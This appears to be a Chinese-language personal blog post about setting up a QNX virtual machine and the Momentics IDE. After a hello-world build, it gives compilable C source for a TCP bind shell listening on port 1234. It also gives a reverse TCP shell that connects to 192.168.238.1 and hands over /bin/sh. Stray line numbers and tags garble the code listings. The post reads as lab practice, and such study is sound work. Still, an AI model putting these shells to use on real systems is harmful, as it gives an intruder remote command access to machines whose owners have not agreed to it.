环境来源

虚拟机 6.5.0:https://www.jianshu.com/p/2a3d7e80a725
官方 6.4.1 版虚拟机:http://www.qnx.com/download/group.html?programid=20840
IDE:https://download.freedownloadmanager.org/Windows-PC/Momentics-IDE-for-BlackBerry/FREE-2.0.html

环境安装

虚拟机直接打开运行就行了,IDE 直接安装就行了,注意安装好 IDE 之后打开选择 workspace 的时候不能包含空格,然后打开会提示没法下载 SDK,不用慌,关了就行,去界面的 help -> Update API Levels 下载就行

image.png
image.png

QNX 的命令

https://bbs.pediy.com/thread-270996.htm
按着这个手册自己试试就行了,跟 linux 的命令还是有很多重合的
很奇怪,我的镜像里面没有 gdb 啥的,各种命令好像还得看镜像

helloworld

新建一个 QNX C Project

image.png
image.png

选择架构为 x86

image.png
image.png

创建好之后看一下 QNX 的 IP,然后运行 qconn

image.png
image.png

然后给 IDE 加上设备,选择 Window -> Target Navigator

image.png
image.png

在打开的窗口右键找到这个小摁钮,选择 New QNX Target

image.png
image.png
image.png
image.png

先点锤子再点运行

image.png
image.png

在这里甚至可以直接拖拽上传文件

image.png
image.png

TCP bind shell

看看咋写程序,结果发现跟 linux 没啥区别,直接用的下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <sys/socket.h> #include <sys/types.h> #include
<stdlib.h>
#include
<unistd.h>
#include <netinet/in.h> int main(void) { int clientfd, sockfd; int port =
1234; //设置绑定的端口 struct sockaddr_in mysockaddr; sockfd =
socket(AF_INET, SOCK_STREAM, 0); mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port); mysockaddr.sin_addr.s_addr = INADDR_ANY;
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1); clientfd = accept(sockfd, NULL, NULL); dup2(clientfd, 0);
dup2(clientfd, 1); dup2(clientfd, 2); char * const argv[] = {"sh",NULL,
NULL}; execve("/bin/sh", argv, NULL); return 0; }</unistd.h
></stdlib.h
>

需要在项目右键选择 Properties

image.png
image.png

然后找到 QNX C/C++ Project 里面的 Linker,在 Category 里面选择 Extra libraries,再选择 Nx targetzhege 这个

image.png
image.png

在 x86 的 lib 里面找到 libsocket.so 打开,然后编译运行就完事了

image.png
image.png

Reverse TCP shell

同理,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <sys/socket.h> #include <sys/types.h> #include
<stdlib.h>
#include
<unistd.h>
#include <netinet/in.h> #include <arpa/inet.h> int main(void) { int sockfd;
int port = 1234; struct sockaddr_in mysockaddr; sockfd = socket(AF_INET,
SOCK_STREAM, 0); mysockaddr.sin_family = AF_INET; mysockaddr.sin_port =
htons(port); mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); char * const argv[] =
{"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; }</unistd.h
></stdlib.h
>
image.png
image.png